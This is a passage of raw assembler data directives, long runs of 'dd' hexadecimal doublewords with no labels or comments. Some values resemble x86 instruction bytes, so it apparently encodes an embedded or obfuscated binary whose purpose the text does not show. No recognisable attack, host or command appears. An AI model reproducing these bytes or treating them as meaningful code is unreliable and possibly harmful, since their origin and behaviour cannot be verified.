465C0DF1h, 0D3228B7Fh, 4C595BE6h dd 8B24A0C4h, 57AB3A60h, 2838573h, 234B889Dh, 3A608BA7h dd 8BA52145h, 0D02A3A60h, 43728667h, 0D6A79BFFh, 0CF03F7CEh dd 11FC08EBh, 0DB44C807h, 8522E82h, 0ED1B7FF8h, 3521DA73h dd 148F72Ch, 0BD110000h, 0DD0B4A50h, 0BAA0BBC1h, 0E015B328h dd 0DC0A9D97h, 9D33A232h, 46BCBD9Eh, 35FE0BF2h, 6129D5B1h dd 0C605A3Ah, 0D0ED36D7h, 8668BD6Ch, 648A1C02h, 23978BB3h dd 0C569FB75h, 3A614881h, 90123C06h, 131E8F15h, 0D8764A3Eh dd 0C7152075h, 0CF0CDD6h, 193441C8h, 3CB751B5h, 364629C0h dd 6F002Ch, 6FEC0000h, 0A09DE20Ch, 5684F8DCh, 255397C4h dd 14A3E559h, 784E6AFAh, 0D921C394h, 7989FD75h, 410C394h dd 7FF745C9h, 0C394790Bh, 0C2D7A69Ch, 535503F7h, 0D0CA3852h dd 0BEFE9DD5h, 0D520EF36h, 4BC5BE4h, 0AE0DDF33h, 0BE63E251h dd 412BC556h, 94F3092Dh, 9DE213C3h, 176DDCA0h, 0C60A428h dd 0C61D65E2h, 7D4C5B4Ah, 0A49BB589h, 76h, 760D6FCCh, 52140E4h dd 0A2AEBD9Fh, 60CB7E0Ah, 9589F13Ah, 122F7821h, 0E6D324C1h dd 0CA8DD212h, 5C843A60h, 0CBDACB51h, 0A8FD50FEh, 8418469Dh dd 2EF96DFFh, 0BF4472CEh, 0FD06F75Bh, 8D714C55h, 82EE2292h dd 0C0247BE5h, 0D7F6921Ah, 1793076h, 0E4BC592Dh, 0A6EBB1E9h dd 76D77A0Eh, 9BB6C330h, 1E64D337h, 77A6303Ah, 69AD1120h dd 0D1F037BFh, 9714E64h, 0D6F2AEAh, 0A740E476h, 28BD861Bh dd 6ABF6ED2h, 9488B5CAh, 78555E4Fh, 1F895C94h, 5349B1CEh dd 6D58AD52h, 310C19F6h, 0BF869C4Dh, 5B6A2ECBh, 9F5F6AD1h dd 522D332Dh, 714C59B4h, 0C5F005E2h, 39E71h, 84260000h dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 0EC81CF7Bh dd 4, 57242C89h, 0C781E789h, 4, 4EF81h, 3C870000h, 3C895C24h dd 58836824h, 2C890000h, 0BF575124h, 0A966C58h, 8AAE781h dd 81470529h, 116B75CFh, 0EF81471Ah, 0F8D11D28h, 0D15FF989h dd 81D9F7E9h, 4DDBA5F1h, 59CF89E9h, 4EC81h, 24890000h dd 24048124h, 4, 0BA52515Dh, 46781746h, 4206EAC1h, 2A28E281h dd 0D2F77C99h, 447DE281h, 0F28139E9h, 39E0447Dh, 15AD189h dd 593989E9h, 5D2434FFh, 8B04C483h, 8953243Ch, 4C381E3h dd 83000000h, 1C8704C3h, 64E95C24h, 74FFF976h, 82AB8F8h dd 0C5030612h, 7742E0FFh, 6AD53C8Ah, 66FE18EEh, 681B7E7Eh dd 0AC0614B7h, 8A014487h, 0DC406985h, 0DC257C76h, 98107292h dd 0DEB7377Ch, 12EC17E3h, 69146385h, 0EA1F16C2h, 2C1A62AAh dd 2A6D2E68h, 0EDE965D5h, 60000000h, 0A8D88C66h, 0DF840F04h dd 8B000000h, 0B2151B5h, 0FE8306h, 22850Fh, 85C60000h dd 60B2845h, 69696845h, 0B5FF8E72h, 60B0B01h, 7D18858Dh dd 0D0FF060Eh, 2F4D8589h, 0F08B060Bh, 0FE93E80h, 3185h dd 0CB858D00h, 0FF061078h, 75BD8BD0h, 81060B1Fh, 1184C7h dd 51B58B00h, 87060B21h, 8B9F7h, 0A4F30000h, 2151B58Bh dd 858D060Bh, 60F1732h, 0B58BD0FFh, 60B230Dh, 0F00FE83h dd 2285h, 4585C600h, 54060B28h, 4EBEF468h, 1B5FFFFh, 8D060B0Bh dd 0E7D1885h, 89D0FF06h, 0B230D85h, 80F08B06h, 850FE93Eh dd 3Ah, 230DB58Bh, 858D060Bh, 61078CBh, 0BD8BD0FFh, 60B1F75h dd 1184C781h, 0C7830000h, 0DB58B08h, 87060B23h, 8B9F7h dd 0A4F30000h, 230DB58Bh, 858D060Bh, 60F1732h, 0C361D0FFh dd 91F858Dh, 85890612h, 60B14CDh, 0F53F04EBh, 0D0E919FAh dd 0FD000005h, 0A44192A9h, 12F36051h, 0FC29CA07h, 0AB449FA6h dd 4EF56E51h, 81BCC427h, 516CB552h, 24136582h, 88C5CE3Fh dd 224AA66Bh, 0C58617A6h, 0DEE25A29h, 0A514F8D5h, 71F3605Fh dd 1D3B4FE7h, 0B68CC394h, 5560B598h, 0D2EF38E1h, 5968BF6Eh dd 0F9112C93h, 0B63E2FA3h, 5A50B098h, 0F151A24Bh, 2F4795A8h dd 0C3942F5Bh, 61F2D62Ch, 9E457084h, 0A4282771h, 201F6796h dd 7FCE785Ch, 0C6B71B26h, 4C3D81B0h, 0BF8A9F37h, 2F93F7CBh dd 0C4B63771h, 856A7B39h, 6E9F4473h, 0B0C22825h, 942C483Ch dd 71FBDFC3h, 942C89FDh, 0A241EC3h, 2C5F2E06h, 0D597C394h dd 1DE1DC28h, 18950F39h, 24136590h, 6BFEA750h, 51E502C6h dd 0C069D37Dh, 0E9324118h, 93h, 0F8D5DE77h, 1DAEDC14h dd 0E466C394h, 44FCA277h, 5CB00435h, 0A80D51A3h, 53A9247Eh dd 32410BBAh, 197h, 50BD7100h, 4C807445h, 729CABFDh, 0D0288C9Bh dd 372519EDh, 941DCBBFh, 2665CC3h, 980963D8h, 0BE74578Bh dd 5E88B7CFh, 0C5F403EAh, 0EB3AEB71h, 0BA0E314Bh, 2F9E6246h dd 58F6EAD5h, 2296ADF5h, 0AD11287Bh, 3498A9FCh, 4BC7C6DCh dd 5F44415Bh, 0DFA7948h, 0D7B33BF8h, 58C39481h, 31DC0E62h dd 0FD891DE6h, 72C39481h, 6CA01408h, 0DED321C2h, 94E00DDAh dd 71F1D5B9h, 0C3941D15h, 3A97A09Ah, 0FFCF6241h, 9F4E3216h dd 30636288h, 68DB6E61h, 23C92D10h, 944CFF8Bh, 160A70C3h dd 5632BAC4h, 99C3944Ch, 0F98D231Fh, 53A7102Fh, 0DFA39AEAh dd 1BC54DFBh, 1D678C19h, 0C3D43122h, 5F98EC00h, 2B6FC394h dd 0E0B62537h, 0A1D1C4F3h, 0DEAAC228h, 51C39491h, 0E24BBF69h dd 67D6BA97h, 0EB522611h, 0B0D45891h, 37C39491h, 0BD1BEFC3h dd 72856A7Bh, 0BB9FF347h, 79931286h, 32417EC0h, 8CE9h dd 0DADE7700h, 0DCCA71FBh, 0EDC2E86Dh, 793B4FE7h, 0B68CC394h dd 0AF92EB52h, 0C149E7DBh, 437A8A7Bh, 6059A8A5h, 0C3FE0BFAh dd 65ED1B7Fh, 11F6F72Dh, 0FE2F340Bh, 0EA519BBAh, 0EE642158h dd 73847585h, 709EF246h, 50A35298h, 0B6AA97ECh, 0ED608EC2h dd 1FBCAE95h, 0D5237537h, 0FD2B5DFAh, 81848CBAh, 0BF7E9213h dd 0EA324162h, 4Ah, 6EDADE72h, 536EBD25h, 0A5B71B7Fh, 0F21C2D78h dd 4E320D1Bh, 17FC092Bh, 0A721320Dh, 0F8162B76h, 0FAD7DE02h dd 1DAFDE16h, 2D67C394h, 0F0C168A0h, 13E83240h, 0 dd 84C064F6h, 0BC39411h, 114B3F37h, 0E6DCC394h, 0D3DED248h dd 3E2C136Bh, 941DD2B6h, 96D55C3h, 0F6C3D485h, 7C435B02h dd 0FAD92188h, 0EBFA3C16h, 37E66A97h, 286CD0EFh, 0C029A4FEh dd 0CDF80DB1h, 32210579h, 0D9031864h, 9EFC4055h, 299DE5BDh dd 0D91A3740h, 1AEEDB2Ch, 60C0B8CAh, 0DFEA3D3Ah, 457C826Bh dd 0D82C9DF1h, 0F12B19EDh, 5D879AF4h, 635EAB50h, 370217F0h dd 0BC899A43h, 99146EC8h, 0C92A2770h, 35CE1ECFh, 15C0B2Ch dd 0BDD50000h, 2B1A791Eh, 3DE639D6h, 0EBBB44A3h, 0B8042261h dd 198D5FE4h, 0BD9E1378h, 2E156D98h, 0A5C90300h, 3A61A321h dd 94785CA6h, 673ED025h, 0C7847D8Fh, 5BB4AF83h, 0AC91E64Eh dd 5AC53FD8h, 0DAB68B1Fh, 2C3E82E6h, 8A7E0AA2h, 89F13A61h dd 74D8F100h, 217F610h, 93954337h, 81F8E12h, 764B5039h dd 152075D8h, 405342CEh, 0D6BA879Ch, 202A9EF2h, 618AF88Ch dd 170B4F3Ah, 0C76150A6h, 3687B455h, 4C9D2Ch, 6F7B0000h dd 5BE5770Ch, 0C06E5BAAh, 941D0034h, 0C91367C3h, 0E25337BFh dd 7BD43C6Bh, 55A91D2Ch, 0F373D771h, 3C6BE297h, 441AAB8Dh dd 0E697F737h, 1430DD1Dh, 92665DA5h, 1C905ABEh, 3C6BE938h dd 0F421CB0Fh, 0FD7690A1h, 8906h, 50BDAE00h, 1F6B8348h dd 90C3941Dh, 55C2B6AAh, 2075346Fh, 0CD7B5F66h, 4A90ABF1h dd 9FC18322h, 2F6CCBDh, 19A84E5Bh, 9CA2A35Eh, 8FFB73F9h dd 3A61D5h, 0E914C63Ah, 4594A39Eh, 88986739h, 41AE49E7h dd 6CD31934h, 0E584D030h, 7ED27C5Eh, 611BA9F6h, 7570A03Ah dd 954E7B8Ch, 2002A41Bh, 49D05C2h, 0B1CAD2EAh, 4E5903ABh dd 0E8D24473h, 5560B564h, 0B13C74E1h, 9EABFA2Bh, 0CB502C70h dd 40E78D21h, 62584E65h, 0D6F03F1h, 0D2A699E3h, 0CF231E6Bh dd 7FF701EBh, 0C3941D0Bh, 0CFD7A69Ch, 1EC80CF0h, 23B2D84Ch dd 0A00DBD86h, 0B0947851h, 0EB4602AAh, 0F1C93A79h, 3740299Dh dd 5746D01Ah, 488C704Fh, 79EBCCB8h, 0D17F433Ah, 91ACF916h dd 0CC12052Dh, 41D5C91h, 9EE45539h, 6226D3A7h, 0EDC72F63h dd 0D3EE3BE0h, 0BA879C09h, 0E93AEB8Ch, 0DC6822Ah, 71491991h dd 0BAC0A91Dh, 8E0A379Bh, 0B08D967Fh, 43142A3h, 0CDFB0h dd 84790000h, 830073E8h, 975058BCh, 0D4DE8379h, 57A009FDh dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh dd 798871C5h, 0FA0DFC40h, 68CF7BCFh, 608Ah, 53243C89h dd 0C381E389h, 4, 4EB81h, 1C870000h, 34895C24h, 0E2895224h dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 43876850h dd 35580EBEh, 8AC49A4h, 48BC689h, 4C48324h, 4EC81h, 24890000h dd 24048124h, 4, 0F3895358h, 8B951h, 0C1010000h, 5B591989h dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h, 348B5C24h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F96F46E9h dd 0B8A244FFh, 6120F5Bh, 0E0FFC503h, 3D06388Bh, 524679Dh dd 151417E7h, 69B7D05Eh, 6A4668FBh, 7A594309h, 24E7DA6Eh dd 494B2CEFh, 2F9D62C4h, 58D1A1Fh, 3680BC8Ah, 29F725B2h dd 61BC000Fh, 6E52C8CEh, 869B78h, 6E3CDF7Eh, 71701F2h dd 33A9AC63h, 24B60486h, 2D68C4CFh, 42955E18h, 20FEE362h dd 2BA5FBE4h, 2A481174h, 42E8485Dh, 3ACE82B2h, 715AF7F8h dd 8EBh, 0B0350000h, 0D1E94999h, 68000004h, 612117Bh, 0F96EB6E9h dd 11E368FFh, 0ACE90612h, 68FFF96Eh, 6121375h, 0F96EA2E9h dd 3F4BFFh, 0D6E332D3h, 0B891E00Dh, 0D344ABBh, 0DCE339D6h dd 52A9B007h, 3EC774Eh, 0F31CC7FAh, 5C49AAA5h, 14E57E4Bh dd 0D3450D4h, 0CCBBC586h, 0FBDADE54h, 417C8471h, 9B6F99FDh dd 0FD4E132h, 0F47E5EFDh, 80E05956h, 50B6D25Ah, 0C139C394h dd 7E059727h, 6CF978ECh, 0C76BD9Fh, 22D8A8B8h, 970D3A61h dd 304BE216h, 18662C36h, 8E000003h, 6B312D46h, 0A7E20AD0h dd 0A8BD9F05h, 51D8852h, 5BAB103Eh, 3F046E92h, 0E9730894h dd 374CE43Ch, 6EA2160Ah, 0C7862EC0h, 48411055h, 96F27A84h dd 1935107Bh, 7BA52121h, 0D02A3510h, 66BF6EFCh, 7848F75Bh dd 22AE445Eh, 0D337D135h, 0B0BAC1DBh, 93AEF726h, 0A93DEB2Fh dd 4B1BF8D4h, 84B5C4A9h, 72F8DC30h, 985B7683h, 202F1A6Fh dd 8FD96FDBh, 294F0002h, 0A5000003h, 0CF97A51h, 0FA2BC8F9h dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C5860C0Eh, 0BD4A3281h dd 84084150h, 8616A640h, 2DC76FFDh, 0BEBD862Ch, 0D7049644h dd 0CF999513h, 65E80639h, 0D233201Fh, 2303F7CEh, 3C867F9Ch dd 6CFBD623h, 8665F5B9h, 0C175CA38h, 3D000002h, 0E401D2E9h dd 52B3A091h, 3CE90A47h, 0EB04DFE6h, 0EB5AE91h, 0C1FC04E7h dd 91ACF512h, 6453A542h, 0C8050EFFh, 0E20AE62Bh, 0C5860CE6h dd 6F229A69h, 40E4760Dh, 0BD862CAAh, 2DA61348h, 6FB61006h dd 947842C1h, 796E2C5Ch, 2ABBF93Ah, 2D8037D6h, 1E1122Ch dd 0DEFA0000h, 28176DD5h, 0F7C3BDEFh, 8EE20A73h, 9962B15Ch dd 94067115h, 0A88CF6C3h, 0C246E024h, 52A60E1Bh, 47BB9F63h dd 0A1BAC29Ch, 2AE33BBh, 4DF2BD9Fh, 0B50512AFh, 734E5924h dd 0B9574B8Fh, 549C605Ah, 3A613834h, 0DE32B3E1h, 2C35322Fh dd 1F6B830Dh, 903A6130h, 54E57CAAh, 3000000h, 9AE30D6Fh dd 0D6CE067Ch, 0D83C00C5h, 2E3C1074h, 823C3F9Ch, 2AF7BB90h dd 10C968FCh, 0B9CBBD9Fh, 60F65135h, 42ECD63Ah, 0D909FDC5h dd 3A60F6A9h, 23A9247Ch, 14D4C0BCh, 5FF86B81h, 9139CFA3h dd 3426C0FCh, 2C34FA15h, 98A5FA2Bh, 0D0EB6Eh, 0DE750000h dd 0A514F8D5h, 68FA605Fh, 941D80C4h, 43307C3h, 9B0279C2h dd 0CC44E277h, 4A758F7Eh, 0E96482C6h, 6CDDA19Ch, 3054D81Bh dd 0B7C394EBh, 62F46F43h, 0C394EEBCh, 9A597481h, 0BF8A9F0Eh dd 0D46F0D91h, 94ADD906h, 2ADAEB37h, 0DFA72FCh, 9EBD99DEh dd 3247B6A4h, 0F507E907h, 72F24A46h, 4EFB91C1h, 0DD675E09h dd 0A9A442A6h, 0FFE6C53h, 387ECFFAh, 0B751B519h, 63C9D33Ch dd 7C50241Bh, 0D518CF18h, 1BEF8660h, 12FA4h, 605FAB00h dd 360312F3h, 98B1C02Dh, 6D54AA5Bh, 3C0319F6h, 0B2499027h dd 638C576Eh, 0D33C271Ah, 0BC698AC5h, 74855E6Bh, 0E1470F4h dd 2C9BC586h, 0FBDADEB4h, 0F201EC78h, 14D520DFh, 65C406CFh dd 43142CBh, 0D5DE39DFh, 0CBB9023h, 0C82CC6C5h, 0ABA6F322h dd 0CD45E327h, 253E0B1Ch, 0D2182379h, 74CC1B40h, 3747AD18h dd 0EE29BEEAh, 0B7511432h, 9EFC882Fh, 0DC2794BDh, 0BA21E027h dd 7149C660h, 5DAC59EBh, 5676129Ah, 81F93A60h, 4BE5D9ADh dd 5C87BEC2h, 6056BACAh, 0D3EE3B3Ah, 0A29DE700h, 8A79DEh dd 6F830000h, 5AE4760Dh, 1824B4E5h, 20446C43h, 0C394A1A4h dd 55F3D72Bh, 86906F81h, 509AE0BDh, 906453A5h, 8CBBCDBCh dd 262AC438h, 0CC172277h, 17FBD623h, 9F7696C5h, 4C9A453Eh dd 0C936D2A2h, 0F42E8CF1h, 0CA0710F9h, 9EABFC29h, 43B432Ah dd 0FE0F85B0h, 22310C19h, 0F49014A6h, 7569F716h, 52A81722h dd 714C59B4h, 1ECA8Dh, 94260000h, 0C51EFF27h, 343CD3A5h dd 69F72B50h, 0E7B638D7h, 7D6FEEFEh, 6A67B019h, 9C8446BCh dd 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh, 63D7EE32h dd 0EB5F66BAh dd 71C5FC02h, 0FC407988h, 7BCFFA0Dh, 0E78957CFh, 4C781h dd 0EF810000h, 4, 5C243C87h, 68242C89h, 322Bh, 68243489h dd 1BF6h, 55240489h, 0CE2198BDh, 10B8500Ah, 0F76D145Ch dd 8D1E05D0h, 0C53179F0h, 5DEE8958h, 8904EC83h, 4832424h dd 52580424h, 8BAh, 89C20100h, 24148B32h, 0FF04C483h, 81582434h dd 4C4h, 2434FF00h, 4C4815Eh, 0E9000000h, 0FFF969FBh, 5B9C1B5Ch dd 0B67BCBA5h, 82EAC245h, 1214C9B8h, 0FFC50306h, 0F6E5EFE0h dd 63ED4B0Ch, 0F3CEF443h, 0F900514h, 0C4684068h, 3800F924h dd 8A6EEA71h, 5060D752h, 0E1257B4Ch, 9F28E27Dh, 0CDDB447Fh dd 2B33659h, 69F2E94Eh, 321E4A4Fh, 0D872A507h, 40CCC444h dd 0B181D23h, 11592904h, 96293D75h, 0D0B8686Dh, 57304103h dd 0B1A7FB1Ah, 4A0EA13h, 0CDB60166h, 14E83Bh, 0D5C00000h dd 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h, 0BF66F325h dd 0F95BB240h, 6CDCC381h, 0FA8B0000h, 0B8h, 99BA6600h dd 1834FF9Fh, 8850Fh, 50600000h, 0A6BF6659h, 0F59613Eh dd 0C181F1BFh, 6EB21B4Eh, 6880Fh, 8F0F0000h, 0 dd 83E0C181h, 8B0F7F86h, 9, 3830Fh, 0E2800000h, 0B6F181BFh dd 662C736Fh, 347CD681h, 8E951h, 0A90F0000h, 0C1E2A608h dd 48F997Eh, 0FAB70F03h, 14E8h, 9308CC00h, 5AADBF2Bh, 2736CAEAh dd 3203F91Bh, 36E96AE0h, 0E8815E84h, 76589AFh, 81D3B70Fh dd 6589ABC0h, 11E907h, 3C640000h, 0A1057717h, 5535E90Bh dd 241D61C6h, 815EDC97h, 0FF9418F8h, 12850FFFh, 66000000h dd 686BCA81h, 1DE9h, 583DB00h, 0C2BE0325h, 6DF8175h, 0E9386339h dd 0FFFFFF3Dh, 7A46CD5Fh, 0A36E7519h, 8D8D2E7Bh, 6121765h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 33C35040h dd 0E759251Bh, 0BF0FF08Bh, 4D8D89F9h, 89060B17h, 0B001D95h dd 1985C706h, 0C4060B01h, 6A000068h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A5E5C353h dd 9C8447D5h, 0DC5C6752h, 31818D89h, 0F5B7060Bh, 100985C7h dd 60Bh, 0B5FF0000h, 60B1AA9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 4DC35646h, 0DEDB30ADh, 20B45155h dd 259D8B22h, 0FF060B22h, 0B0AC595h, 6AF806h, 32DD95FFh dd 0C08B060Bh, 0AB6A4FEBh, 0CF7CE3BAh, 7869F6BEh, 562233D3h dd 0FB7E137Bh, 4FB10B69h, 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h dd 49398B3Ah, 98E6A9E5h, 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh dd 28DFAC49h, 19AF0878h, 8C4CA90h, 0CBE583FBh, 0AB312E3Bh dd 0B139639Bh, 0E504EB8Dh, 0E961553Ah, 0D39h, 12197768h dd 6769E906h, 0A868FFF9h, 0E906121Ah, 0FFF9675Fh, 121C9468h dd 6755E906h, 0B468FFF9h, 0E906121Dh, 0FFF9674Bh, 12212A68h dd 6741E906h, 7F68FFF9h, 0E9061222h, 0FFF96737h, 12236E68h dd 672DE906h, 0C2D4FFF9h, 68BF688Bh, 1E6D9A59h, 0CFD73023h dd 7E8263F0h, 3E259C47h, 79FAC5DFh, 0A94A778Ch, 0C61D287Ch dd 72E1DC29h, 0BFCB6389h, 30C58605h, 0D5DEDB41h, 4CE072F8h dd 0C3941D38h, 178C4B8Fh, 578DA593h, 67D63AD4h, 295DD112h dd 0FEC3940Ch, 288DC14h, 9CE651E7h, 1365D4B8h, 0EFA55024h dd 0D1EC39DEh, 1175F90Bh, 96C39462h, 4E182ACh, 0EA1BC1FCh dd 0E024A895h, 3740AD46h, 0FB4F7A8Fh, 6EDFA387h, 0B9CB2825h dd 68FC374Ch, 0C394621Ch, 0A14BAF93h, 9462790Dh, 5AF4CEC3h dd 3B213A42h, 9F662EB3h, 573B1FBDh, 6164EF9Fh, 6F7E3A3Ah dd 35867495h, 2F5D2Ch, 6FBB0000h, 40E4760Dh, 0BD9F05D1h dd 5090645Eh, 3A60CB30h, 0E46867B1h, 6CD0EF35h, 0A35E65BDh dd 77AAE4E1h, 0C168A02Dh, 0E82C35C6h, 0D9h, 0F8D5DE74h dd 46798372h, 98709EF2h, 675AA352h, 13C44C9h, 2530AFBDh dd 941D9F45h, 3E4BC26Ch, 0D82CD903h, 8FF7931Bh, 278C394h dd 0C208002Eh, 0FA8E26B0h, 4DC3948Fh, 8F89FD75h, 241EC394h dd 0DBF6030Ah, 8A299618h, 314C394h, 0B7C02D36h, 0A6F6369Ah dd 0D2274F9Dh, 13BD9F8Eh, 126A342Fh, 214BE309h, 9A446CEFh dd 3D4BBAA0h, 526DBB02h, 0F27CAAEEh, 1DC6F903h, 5A95A8F0h dd 8C6B7BC8h, 0DB78DF2Bh, 0A900000Ah, 10FD665Dh, 0FE2F3405h dd 0A8459EB3h, 17F06352h, 9221320Dh, 5568B04Bh, 2518618Eh dd 88C7D13Eh, 5C69BA6Bh, 7EF67A87h, 0C586040Ah, 0BDB62E9Dh dd 0DE084150h, 0C02A156Fh, 9AC0259Bh, 94537612h, 7681F9C3h dd 0F40D4C61h, 0B83BD5C9h, 0D40F3A4Fh, 760D6F2Ch, 0D7EA39E4h dd 9E3FB739h, 0EFBD9F05h, 455441ABh, 0A24C8074h, 0CBC686AEh dd 3E473A60h, 0CB1571F5h, 0A09A3A60h, 711F84Ch, 160C44C8h dd 9A46FB97h, 406B7C25h, 608EAF7Fh, 0B33D4746h, 60634F3Bh dd 7E21C03Ah, 93F55681h, 7CDE086Ch, 2C35A1CDh, 0CAE4h dd 50BD0000h, 4E82764Bh, 6D58ADA0h, 0D5E83099h, 185EC161h dd 0D421C394h, 3FEE7AF9h, 0DE2FD9E8h, 0C614F8D5h, 0E65430B4h dd 0E7DB3C6Bh, 0EA277549h, 6BE60642h, 5DB1893Ch, 1BDE7D8Fh dd 0B449B1C9h, 0F3C68EB8h, 744260BBh, 0F389D50Eh, 136A8268h dd 0EC446D03h, 40594496h, 0C367638Bh, 92E83072h, 58F6CABEh dd 0F91D6796h, 0FBD2F80Ah, 0D50E62DAh, 2F4BE45Bh, 3FE0D849h dd 0D9E43C11h, 6CBC060Eh, 1AFD558Ch, 9AAh, 0CE152C76h dd 78FBD621h, 964D7C8Fh, 0C1122179h, 72E1DC24h, 3B419CC3h dd 0E92EDF04h, 969E0FD4h, 3E4BA4BFh, 0C12BD003h, 8607D9ADh dd 79DFAEC5h, 78FBDADEh, 944F7A8Fh, 0AE95ED18h, 417E6DAh dd 0DE251B35h, 0C614F8D5h, 1D5430B4h, 3EB6C394h, 0C3941D4Ah dd 201AE5DDh, 0C7F20706h, 1DFA8A1Ch, 2E7BC394h, 0D227C013h dd 7D8875E7h, 6A84F84Ch, 0D7E237E6h, 4ABBB563h, 0C2E4023Fh dd 69C9DAC3h, 2AC92D10h, 0EC980C9Eh, 0EC3941Dh, 941DE2E6h dd 0A21D65C3h, 3A8EB5CDh, 0DA44E2C6h, 3240F133h, 0B61Eh dd 19639200h, 93EB5226h, 0B89E48ACh, 0E4760D6Fh, 9F0C4D40h dd 14F8C2BDh, 60D0ACDCh, 2F3793Ah, 1D71C5FCh, 0DC34B1F3h dd 2C34DA2Dh, 8604h, 10699400h, 7E526FB8h, 50BD6AD0h, 0C356AE48h dd 7F1D106Eh, 6819ED1Bh, 5AC39430h, 0BB333942h, 0BD9F2836h dd 0C7203307h, 94F074BDh, 1B3A611Eh, 0ED7FC327h, 1EBFCB63h dd 0C95D3A61h, 3A611EBDh, 0B4FC832h, 0A0BBC1DDh, 1C1332BAh dd 261C446Ah, 89C4D03Dh, 506DB263h, 8A7EA8ECh, 9CE40A92h dd 85F9DDA1h, 0DEA6DF57h, 0C3374E76h, 0E20A9410h, 2E4AC2E6h dd 0F71169h, 562h, 0AEDA52DCh, 212E4AC2h, 6FC92FD9h, 40E4760Dh dd 0BD9F24D1h, 46DBBF5Eh, 520C2BF1h, 2A5A8A7Eh, 0FF3A603Ch dd 39D028A5h, 102C342Eh, 532h, 2E3A46FCh, 0DFABC34Eh, 50C3941Dh dd 40E4766Ah, 0BD9F0545h, 4D9FF0CAh, 0A8EE5AA0h, 8DC1B5A9h dd 0D42C9363h, 0DAA2E2A5h, 26139B41h, 7EDB08Bh, 4D2F4F33h dd 805D2CEDh, 443586B6h, 3A200435h, 0BD70CAB2h, 8F5DA5F7h dd 3B38151Eh, 0F3971FA9h, 74878238h, 3D4E77D5h, 564A6E3Bh dd 754055B8h, 3C9364FAh, 0DCB3973Ch, 7BEh, 0D201384Ah dd 0CD7E235h, 0BAB990E3h, 0D50E354Dh, 6DDE038h, 4F55A8BFh dd 0FD02E370h, 0A2F213C0h, 4A5F48ABh, 0D517E47Fh, 86013551h dd 55CBBAC5h, 94450BDh, 0A6A74185h, 9C9C605Dh, 6D198D00h dd 0E2C3941Dh, 9B6A498h, 64B726CBh, 92ADE155h, 193737D0h dd 0BEADF57h, 77BBD9Fh, 0E1DC28D5h, 5D0F391Dh, 8A6964B0h dd 2E3C0B1Dh, 2A9EA9FFh, 20043B43h, 0A6220206h, 5E3A6111h dd 3A61212Eh, 77E57E1Eh, 6A049AFFh, 0A3176B44h, 7DC8C383h dd 5B4A1630h, 0B5897D4Ch, 748C199Bh, 262AC5D5h, 3AFCh dd 0D6F1800h, 0AB5AE476h, 3FC76158h, 0BD9F1F2Ah, 0A615C73Bh dd 630B9D89h, 0CC608A27h, 3A6057B8h, 351DCB0Fh, 75119527h dd 0FA3A6057h, 29707780h, 5C7B2574h, 294DB2h, 6FD70000h dd 40E4760Dh, 0BD9F299Dh, 0B4898E7Fh, 96F27AC0h, 193A60F7h dd 2423CD21h, 35E06ADEh, 0D0990EE0h, 4872212Bh, 0BD44BA54h dd 1DCFBB33h, 7A40C394h, 193441CCh, 532B72CEh, 0F649B980h dd 69Eh, 3221186Ah, 6CF7C2D5h, 9A597083h, 352E156Dh, 66FDC0D8h dd 2F7588DFh, 0DD22C310h, 829273E0h, 2A7FA84Bh, 3537C41Fh dd 8600D5B1h, 75EB5AC5h, 0E4760D6Fh, 1DB6D25Ah, 0E237C394h dd 502F63D7h, 0E810CCB1h, 4EA2BA53h, 7BA6CEA0h, 0CCBD9F46h dd 4A98EC00h dd 2B6F3A61h, 0CF94337h, 478CCFDh, 0E01663EAh, 6545334Fh dd 0F50DFC0Bh, 22067ACEh, 0F825B731h, 0D5299DA0h, 615F691Dh dd 911FE3Ah, 0AC38D6CAh, 652A505Dh, 881900BFh, 0B7C67B3h dd 77BCFF2h, 0E2B90523h, 0C94307AFh, 0BACA113Eh, 7CDB3F83h dd 65312206h, 0BC839917h, 0F71A9258h, 486F35FDh, 0C8DF8E72h dd 603C7AF9h, 0F89D11DBh, 20710146h, 8A6A1E96h, 10FD0500h dd 38D6CA07h, 0D313E7DBh, 5008AB3h, 0E345FA66h, 0EB96A9CCh dd 310C14E5h, 0F8109D17h, 0F8D46651h, 15878h, 824BF000h dd 0D4C33227h, 6F160C3Ah, 40E4760Dh, 0BD9F345Dh, 74494EBFh dd 0B1057DDAh, 5182BFC8h, 0E25663B4h, 2BF78342h, 4819B65h dd 0A4BF8A9Fh, 0D9033E4Bh, 0A2F3B062h, 0B2967A57h, 96A54785h dd 45E3DE27h, 79ED7FCDh, 113DD60Dh, 0C68EB882h, 4E76D907h dd 0FF437286h, 7FCE030Eh, 70B51928h, 2CE9A520h, 0EE9A129Ch dd 6168CA8Ch, 8C0347EFh, 0BE8468CAh, 0FB0AAC5Ah, 2F340112h dd 0C66EB5FEh, 68CA8C82h, 7FC3FE0Bh, 9446BC1Bh, 0CA8C7410h dd 0A387FB68h, 0A5BADFDFh, 8C2B3FB7h, 0C63C68CAh, 203B411Dh dd 0F347853Ah, 0E641D64Dh, 0A05F0140h, 0E50323FCh, 16E30Bh dd 0E3D716C1h, 0FD65AE1Fh, 0BFA498A7h, 8408454Eh, 0C6C5C0ACh dd 2EBFF566h, 0F06735AAh, 5577FE4Dh, 744152BBh, 0BAE147EFh dd 0BEDDEA92h, 68AFDB53h, 0D94DF36Ah, 0F36A68ADh, 1B7FD822h dd 0C6D33C27h, 93FA618Bh, 0A10C015Fh, 955DB553h, 0D2DDA01h dd 8D21B3B1h, 692318F9h, 0B994E14Eh, 739DF1D5h, 3A4FB431h dd 181175F9h, 0AC966923h, 9FDC8DDh, 8602D135h, 4C300F17h dd 1A6FDE08h, 39435B2Fh, 